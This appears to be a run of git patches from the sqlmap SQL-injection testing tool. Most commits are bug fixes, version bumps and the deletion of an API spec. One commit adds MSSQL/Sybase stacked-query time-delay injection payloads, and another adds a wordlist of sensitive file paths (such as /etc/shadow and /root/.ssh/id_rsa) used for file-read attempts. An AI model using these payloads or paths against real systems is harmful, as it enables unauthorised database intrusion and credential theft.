a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -21,7 +21,7 @@ ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL def stdoutEncode(data): # Cross-referenced function - raise NotImplementedError + return data class ColorizingStreamHandler(logging.StreamHandler): # color names to indices From e355a087a4379e72f6bbcf68d16ed7b26f4d8e90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Jun 2019 10:15:36 +0200 Subject: [PATCH 486/800] Fixes #3767 --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 71caafc0478..e7c6e55f8af 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.49" +VERSION = "1.3.6.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 6a472923c35..84a0de4c59e 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -581,16 +581,23 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery + elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + if dumpMode and colList: values = [(_,) for _ in colList] else: From de77ce131f9c17d928815e31e6b1ca076de48355 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2019 11:02:43 +0200 Subject: [PATCH 487/800] Patches #3773 --- lib/core/convert.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 685d45cf302..224bc9aa0a7 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -18,6 +18,7 @@ import re import sys +from lib.core.bigarray import BigArray from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA @@ -102,7 +103,7 @@ def filterNone(values): # Cross-referenced function return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values def isListLike(value): # Cross-referenced function - raise NotImplementedError + return isinstance(value, (list, tuple, set, BigArray)) def shellExec(cmd): # Cross-referenced function raise NotImplementedError diff --git a/lib/core/settings.py b/lib/core/settings.py index e7c6e55f8af..da46bf5c199 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.50" +VERSION = "1.3.6.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 39cb9388278a2dd78b8c7a4f73ca2353792a3b40 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2019 11:06:50 +0200 Subject: [PATCH 488/800] Fixes #3775 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b35305b6a95..0ce5c3d0782 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2664,7 +2664,7 @@ def extractErrorMessage(page): if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() - if (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate))) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO: + if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break diff --git a/lib/core/settings.py b/lib/core/settings.py index da46bf5c199..7a78d9ecbcb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.51" +VERSION = "1.3.6.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 5650e1a1a442e25950e69c74174e71df6b52a4e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2019 11:31:13 +0200 Subject: [PATCH 489/800] Fixes #3776 --- lib/core/settings.py | 2 +- plugins/generic/entries.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a78d9ecbcb..9519f476585 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.52" +VERSION = "1.3.6.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index f5f894bc346..140e820fd75 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -205,6 +205,9 @@ def dumpTable(self, foundData=None): value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) + if not entries and isNoneValue(row): + break + entries.append(row) except KeyboardInterrupt: @@ -213,7 +216,7 @@ def dumpTable(self, foundData=None): warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) - if not entries and not kb.dumpKeyboardInterrupt: + if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: @@ -225,7 +228,7 @@ def dumpTable(self, foundData=None): if retVal: entries, _ = retVal - entries = _zip(*[entries[colName] for colName in colList]) + entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): From cb170f1f28c66efbb2e30502dbfb290199d94a50 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2019 15:53:18 +0200 Subject: [PATCH 490/800] Implements #3780 --- data/xml/payloads/stacked_queries.xml | 43 +++++++++++++++++++++++++++ lib/core/settings.py | 4 +-- plugins/generic/syntax.py | 2 +- 3 files changed, 46 insertions(+), 3 deletions(-) diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index 1471df7d057..88729619b4d 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -268,6 +268,28 @@ + + Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) + 4 + 2 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + -- + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ Microsoft SQL Server/Sybase stacked queries 4 @@ -289,6 +311,27 @@ + + Microsoft SQL Server/Sybase stacked queries (DECLARE) + 4 + 5 + 1 + 1-8 + 1 + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x + + ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 diff --git a/lib/core/settings.py b/lib/core/settings.py index 9519f476585..2b343a082c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.53" +VERSION = "1.3.6.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -420,7 +420,7 @@ MAX_ERROR_CHUNK_LENGTH = 1024 # Do not escape the injected statement if it contains any of the following SQL keywords -EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) +EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) # Mark used for replacement of reflected values REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index b4e916104b2..fcbaf4adce8 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -26,7 +26,7 @@ def _escape(expression, quote=True, escaper=None): if quote: for item in re.findall(r"'[^']*'+", expression): original = item[1:-1] - if original: + if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker replacement = escaper(original) if not conf.noEscape else original if replacement != original: From 580dc2a4e223c1fb48f44288e72d616da96bd32a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Jun 2019 16:57:51 +0200 Subject: [PATCH 491/800] Removing junk --- lib/core/settings.py | 2 +- swagger.yaml | 459 ------------------------------------------- 2 files changed, 1 insertion(+), 460 deletions(-) delete mode 100644 swagger.yaml diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b343a082c9..e222d529872 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.54" +VERSION = "1.3.6.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/swagger.yaml b/swagger.yaml deleted file mode 100644 index 806340ab778..00000000000 --- a/swagger.yaml +++ /dev/null @@ -1,459 +0,0 @@ -# Note: written with Swagger Editor (https://editor.swagger.io/) -swagger: "2.0" -info: - description: "" - version: "1.2" - title: "sqlmap API" - contact: - email: "dev@sqlmap.org" - license: - name: "GPL 2.0" - url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html" -host: "0.0.0.0:8775" -basePath: "/" -tags: -- name: "task" - description: "Task management functions" -- name: "admin" - description: "Task administration functions" -- name: "option" - description: "Task option handling functions" -schemes: -- "http" -paths: - /task/new: - get: - tags: - - "task" - summary: "Create a new task" - description: "" - operationId: "taskNew" - produces: - - "application/json" - parameters: [] - responses: - 200: - description: "Task successfully created" - schema: - type: object - properties: - success: - type: boolean - taskid: - type: string - example: "7e605b5d5a892b74" - /task/{taskid}/delete: - get: - tags: - - "task" - summary: "Delete an existing task" - description: "" - operationId: "taskDelete" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task to delete" - required: true - type: "string" - responses: - 200: - description: "Task successfully deleted" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - 404: - description: "Task ID not found" - schema: - type: object - properties: - success: - type: boolean - enum: [false] - message: - type: string - enum: ["Non-existing task ID"] - /admin/list: - get: - tags: - - "admin" - summary: "Pull task list (locally)" - description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" - operationId: "adminList" - produces: - - "application/json" - responses: - 200: - description: "Task list successfully pulled" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - tasks: - type: object - additionalProperties: - type: string - example: - 16a7a898e8eaaf45: running - 644fc063408e4f12: not running - 8e2eb10770d913cd: not running - d59d1c69bdc06933: not running - tasks_num: - type: integer - example: 4 - /admin/{token}/list: - get: - tags: - - "admin" - summary: "Pull task list (remotely)" - description: "Note: Use in cases when connecting to server from different IP" - operationId: "adminListToken" - produces: - - "application/json" - parameters: - - name: "token" - in: "path" - description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" - required: true - type: "string" - responses: - 200: - description: "Task list successfully pulled" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - tasks: - type: object - additionalProperties: - type: string - example: - 5c911efa476b55f4: not running - 5ee038e153ffc534: not running - e58c7a4de6bf7f51: not running - tasks_num: - type: integer - example: 4 - /admin/flush: - get: - tags: - - "admin" - summary: "Flush task pool (locally)" - description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" - operationId: "adminFlush" - produces: - - "application/json" - responses: - 200: - description: "Task pool successfully flushed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - /admin/{token}/flush: - get: - tags: - - "admin" - summary: "Flush task pool (remotely)" - description: "Note: Use in cases when connecting to server from different IP" - operationId: "adminFlushToken" - produces: - - "application/json" - parameters: - - name: "token" - in: "path" - description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" - required: true - type: "string" - responses: - 200: - description: "Task pool successfully flushed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - /option/{taskid}/list: - get: - tags: - - "option" - summary: "List task options" - description: "" - operationId: "optionList" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task to list it's options" - required: true - type: "string" - responses: - 200: - description: "Task options successfully listed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - options: - type: object - additionalProperties: - type: string - example: - crawlDepth: null - osShell: false - getUsers: false - getPasswordHashes: false - excludeSysDbs: false - ignoreTimeouts: false - regData: null - fileDest: null - prefix: null - code: null - googlePage: 1 - skip: null - query: null - randomAgent: false - osPwn: false - authType: null - safeUrl: null - requestFile: null - predictOutput: false - wizard: false - stopFail: false - forms: false - uChar: null - secondReq: null - taskid: d977b0e5f091370e - pivotColumn: null - dropSetCookie: false - smart: false - paramExclude: null - risk: 1 - sqlFile: null - rParam: null - getCurrentUser: false - notString: null - getRoles: false - getPrivileges: false - testParameter: null - tbl: null - charset: null - trafficFile: null - osSmb: false - level: 1 - dnsDomain: null - outputDir: null - encoding: null - skipWaf: false - timeout: 30 - firstChar: null - torPort: null - getComments: false - binaryFields: null - checkTor: false - commonTables: false - direct: null - tmpPath: null - titles: false - getSchema: false - paramDel: null - safeReqFile: null - regKey: null - murphyRate: null - limitStart: null - crawlExclude: null - flushSession: false - loadCookies: null - csvDel: - offline: false - method: null - tmpDir: null - fileWrite: null - disablePrecon: false - osBof: false - testSkip: null - invalidLogical: false - getCurrentDb: false - hexConvert: false - proxyFile: null - answers: null - host: null - dependencies: false - cookie: null - proxy: null - regType: null - optimize: false - limitStop: null - search: false - uFrom: null - noCast: false - testFilter: null - ignoreCode: null - eta: false - csrfToken: null - threads: 1 - logFile: null - os: null - col: null - skipStatic: false - proxyCred: null - verbose: 1 - isDba: false - updateAll: false - privEsc: false - forceDns: false - getAll: false - api: true - url: http://www.test.com/index.php?id=1 - invalidBignum: false - regexp: null - getDbs: false - freshQueries: false - uCols: null - smokeTest: false - udfInject: false - invalidString: false - tor: false - forceSSL: false - beep: false - noEscape: false - configFile: null - scope: null - authFile: null - torType: SOCKS5 - regVal: null - dummy: false - checkInternet: false - safePost: null - safeFreq: null - skipUrlEncode: false - referer: null - liveTest: false - retries: 3 - extensiveFp: false - dumpTable: false - getColumns: false - batch: true - purge: false - headers: null - authCred: null - osCmd: null - suffix: null - dbmsCred: null - regDel: false - shLib: null - sitemapUrl: null - timeSec: 5 - msfPath: null - dumpAll: false - fileRead: null - getHostname: false - sessionFile: null - disableColoring: true - getTables: false - listTampers: false - agent: null - webRoot: null - exclude: null - lastChar: null - string: null - dbms: null - dumpWhere: null - tamper: null - ignoreRedirects: false - hpp: false - runCase: null - delay: 0 - evalCode: null - cleanup: false - csrfUrl: null - secondUrl: null - getBanner: true - profile: false - regRead: false - bulkFile: null - db: null - dumpFormat: CSV - alert: null - harFile: null - nullConnection: false - user: null - parseErrors: false - getCount: false - data: null - regAdd: false - ignoreProxy: false - database: /tmp/sqlmapipc-jGw6ZY - mobile: false - googleDork: null - saveConfig: null - sqlShell: false - technique: BEUSTQ - textOnly: false - cookieDel: null - commonColumns: false - keepAlive: false - /option/{taskid}/get: - post: - tags: - - "option" - summary: "Get task option value(s)" - description: "" - operationId: "optionGet" - consumes: - - "application/json" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task" - required: true - type: "string" - - in: body - name: options - description: "" - schema: - type: array - items: - type: string - example: ["url", "timeout"] - responses: - 200: - description: "Task option value successfully retrieved" - schema: - type: object - properties: - success: - type: boolean - options: - type: array - items: - type: object - properties: - name: - type: string - value: - type: string - example: - - success: true - options: - url: http://www.test.com/index.php?id=1 - timeout: 30 -externalDocs: - description: "Find out more about sqlmap API (REST-JSON)" - url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json" From c938d77be96cb261f3c9168714b3a5814bf83ba7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Jun 2019 01:48:35 +0200 Subject: [PATCH 492/800] Fixes #3781 --- lib/core/common.py | 40 +++++++++++++++++++++++----------------- lib/core/settings.py | 2 +- 2 files changed, 24 insertions(+), 18 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0ce5c3d0782..c49f03b90c7 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3129,6 +3129,9 @@ def isDBMSVersionAtLeast(minimum): False >>> isDBMSVersionAtLeast("1.5") True + >>> kb.dbmsVersion = "MySQL 5.4.3-log4" + >>> isDBMSVersionAtLeast("5") + True >>> kb.dbmsVersion = popValue() """ @@ -3137,11 +3140,6 @@ def isDBMSVersionAtLeast(minimum): if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') - if '.' in version: - parts = version.split('.', 1) - parts[1] = filterStringValue(parts[1], '[0-9]') - version = '.'.join(parts) - correction = 0.0 if ">=" in version: pass @@ -3150,23 +3148,31 @@ def isDBMSVersionAtLeast(minimum): elif '<' in version: correction = -VERSION_COMPARISON_CORRECTION - version = float(filterStringValue(version, '[0-9.]')) + correction + version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) - if isinstance(minimum, six.string_types): - if '.' in minimum: - parts = minimum.split('.', 1) + if version: + if '.' in version: + parts = version.split('.', 1) parts[1] = filterStringValue(parts[1], '[0-9]') - minimum = '.'.join(parts) + version = '.'.join(parts) - correction = 0.0 - if minimum.startswith(">="): - pass - elif minimum.startswith(">"): - correction = VERSION_COMPARISON_CORRECTION + version = float(filterStringValue(version, '[0-9.]')) + correction + + if isinstance(minimum, six.string_types): + if '.' in minimum: + parts = minimum.split('.', 1) + parts[1] = filterStringValue(parts[1], '[0-9]') + minimum = '.'.join(parts) + + correction = 0.0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + correction = VERSION_COMPARISON_CORRECTION - minimum = float(filterStringValue(minimum, '[0-9.]')) + correction + minimum = float(filterStringValue(minimum, '[0-9.]')) + correction - retVal = version >= minimum + retVal = version >= minimum return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index e222d529872..945668bb336 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.55" +VERSION = "1.3.6.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From aa9b5e4e0c7b335ad9bc46fce8dd40af9fe82c02 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Jun 2019 17:28:43 +0200 Subject: [PATCH 493/800] Implements #2908 --- data/txt/common-files.txt | 1641 ++++++++++++++++++++++++ lib/controller/action.py | 9 + lib/core/common.py | 3 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/core/threads.py | 1 - lib/parse/cmdline.py | 3 + lib/takeover/udf.py | 2 +- lib/techniques/error/use.py | 11 +- lib/techniques/union/test.py | 1 + lib/techniques/union/use.py | 2 +- lib/utils/brute.py | 89 +- lib/utils/hash.py | 1 - plugins/dbms/mssqlserver/filesystem.py | 6 +- plugins/dbms/mysql/filesystem.py | 15 +- plugins/dbms/oracle/filesystem.py | 10 +- plugins/dbms/postgresql/filesystem.py | 6 +- plugins/generic/filesystem.py | 15 +- sqlmap.conf | 4 + 20 files changed, 1790 insertions(+), 34 deletions(-) create mode 100644 data/txt/common-files.txt diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 00000000000..a065db7158d --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,1641 @@ +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +# Reference: https://gist.github.com/sckalath/78ad449346171d29241a + +/apache/logs/access.log +/apache/logs/error.log +/bin/php.ini +/etc/alias +/etc/apache2/apache.conf +/etc/apache2/conf/httpd.conf +/etc/apache2/httpd.conf +/etc/apache/conf/httpd.conf +/etc/bash.bashrc +/etc/chttp.conf +/etc/crontab +/etc/crypttab +/etc/debian_version +/etc/exports +/etc/fedora-release +/etc/fstab +/etc/ftphosts +/etc/ftpusers +/etc/group +/etc/group- +/etc/hosts +/etc/http/conf/httpd.conf +/etc/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/acces_log +/etc/httpd/logs/acces.log +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/http/httpd.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/issue.net +/etc/lighttpd.conf +/etc/login.defs +/etc/mandrake-release +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/mysql/my.cnf +/etc/openldap/ldap.conf +/etc/os-release +/etc/pam.conf +/etc/passwd +/etc/passwd- +/etc/password.master +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/cgi/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/security/environ +/etc/security/group +/etc/security/limits +/etc/security/passwd +/etc/security/user +/etc/shadow +/etc/shadow- +/etc/slackware-release +/etc/sudoers +/etc/SUSE-release +/etc/sysctl.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/access.log +/logs/error.log +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/xampp/etc/php.ini +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/id_rsa.pub +/root/.ssh/known_hosts +/tmp/access.log +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/error.log +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error. og +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/local/www/conf/php.ini +/var/log/access_log +/var/log/access.log +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/error_log +/var/log/error.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/messages +/var/log/messages.1 +/var/log/user.log +/var/log/user.log.1 +/var/www/conf/httpd.conf +/var/www/html/index.html +/var/www/logs/access_log +/var/www/logs/access.log +/var/www/logs/error_log +/var/www/logs/error.log +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default +/web/conf/php.ini + +# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py + +/var/log/mysqld.log +/var/www/index.php + +# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux + +/etc/passwd +/etc/shadow +/etc/aliases +/etc/anacrontab +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/chrootUsers +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny +/etc/crontab +/etc/cups/cupsd.conf +/etc/exports +/etc/fstab +/etc/ftpaccess +/etc/ftpchroot +/etc/ftphosts +/etc/groups +/etc/grub.conf +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/httpd/access.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/httpd/srm.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/lsb-release +/etc/motd +/etc/modules.conf +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/my.conf +/etc/mysql/my.cnf +/etc/network/interfaces 